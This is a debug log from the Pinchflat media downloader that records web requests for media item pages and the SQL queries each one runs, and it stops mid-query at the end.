07:20:02.546 [debug] QUERY OK source="settings" db=0.2ms idle=500.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:02.547 [debug] QUERY OK source="settings" db=0.1ms idle=499.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:02.548 [debug] QUERY OK source="settings" db=0.1ms idle=499.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:02.549 [info] Sent 200 in 4ms 07:20:03.047 [info] GET /sources/30/media/138228 07:20:03.047 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "138228", "source_id" => "30"} Pipelines: [:browser] 07:20:03.049 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=502.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [138228] 07:20:03.051 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=503.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [138228] 07:20:03.051 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=503.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:20:03.052 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=504.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7041] 07:20:03.053 [debug] QUERY OK source="settings" db=0.0ms idle=246.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:03.053 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:03.053 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:03.054 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:03.056 [info] Sent 200 in 8ms 07:20:03.556 [info] GET /sources/30/media/138657 07:20:03.556 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "138657", "source_id" => "30"} Pipelines: [:browser] 07:20:03.558 [debug] QUERY OK source="media_items" db=0.5ms idle=504.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [138657] 07:20:03.559 [debug] QUERY OK source="tasks" db=0.3ms idle=505.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [138657] 07:20:03.560 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=505.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:20:03.560 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=506.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7074] 07:20:03.561 [debug] QUERY OK source="settings" db=0.0ms idle=506.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:03.561 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:03.561 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:03.562 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:03.563 [info] Sent 200 in 7ms 07:20:04.066 [info] GET /sources/30/media/137161 07:20:04.066 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "137161", "source_id" => "30"} Pipelines: [:browser] 07:20:04.067 [debug] QUERY OK source="media_items" db=0.5ms idle=506.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137161] 07:20:04.069 [debug] QUERY OK source="tasks" db=0.5ms idle=507.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [137161] 07:20:04.069 [debug] QUERY OK source="sources" db=0.8ms idle=507.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:20:04.070 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=508.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [6957] 07:20:04.071 [debug] QUERY OK source="settings" db=0.0ms idle=262.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:04.071 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:04.071 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:04.072 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:04.073 [info] Sent 200 in 7ms 07:20:10.284 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:13.133 [info] GET /sources/30/media/137375/edit 07:20:13.133 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "137375", "source_id" => "30"} Pipelines: [:browser] 07:20:13.134 [debug] QUERY OK source="media_items" db=0.8ms idle=1014.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137375] 07:20:13.136 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=307.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:13.137 [debug] QUERY OK source="settings" db=0.5ms idle=16.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:13.138 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=18.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:13.139 [info] Sent 200 in 6ms 07:20:13.416 [info] GET /sources/31/media/140207/edit 07:20:13.417 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140207", "source_id" => "31"} Pipelines: [:browser] 07:20:13.418 [debug] QUERY OK source="media_items" db=0.4ms idle=297.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140207] 07:20:13.419 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=284.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:13.420 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=283.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:13.422 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=284.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:13.424 [info] Sent 200 in 8ms 07:20:13.918 [info] GET /sources/30/media/137801 07:20:13.918 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "137801", "source_id" => "30"} Pipelines: [:browser] 07:20:13.920 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=500.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137801] 07:20:13.921 [debug] QUERY OK source="tasks" db=0.6ms idle=501.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [137801] 07:20:13.921 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=500.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:20:13.923 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=500.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7007] 07:20:13.924 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=92.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:13.924 [debug] QUERY OK source="settings" db=0.2ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:13.925 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:13.925 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:13.927 [info] Sent 200 in 9ms 07:20:14.418 [info] GET /sources/30/media/139734 07:20:14.418 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139734", "source_id" => "30"} Pipelines: [:browser] 07:20:14.420 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=496.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139734] 07:20:14.421 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=497.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139734] 07:20:14.422 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=496.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:20:14.422 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=497.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7158] 07:20:14.423 [debug] QUERY OK source="settings" db=0.1ms idle=497.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:14.423 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:14.423 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:14.424 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:14.426 [info] Sent 200 in 8ms 07:20:14.919 [info] GET /sources/31/media/139775 07:20:14.919 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139775", "source_id" => "31"} Pipelines: [:browser] 07:20:14.921 [debug] QUERY OK source="media_items" db=0.4ms idle=497.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139775] 07:20:14.922 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=498.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139775] 07:20:14.923 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=497.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:20:14.924 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=499.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7160] 07:20:14.924 [debug] QUERY OK source="settings" db=0.1ms idle=91.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:14.925 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:14.925 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT 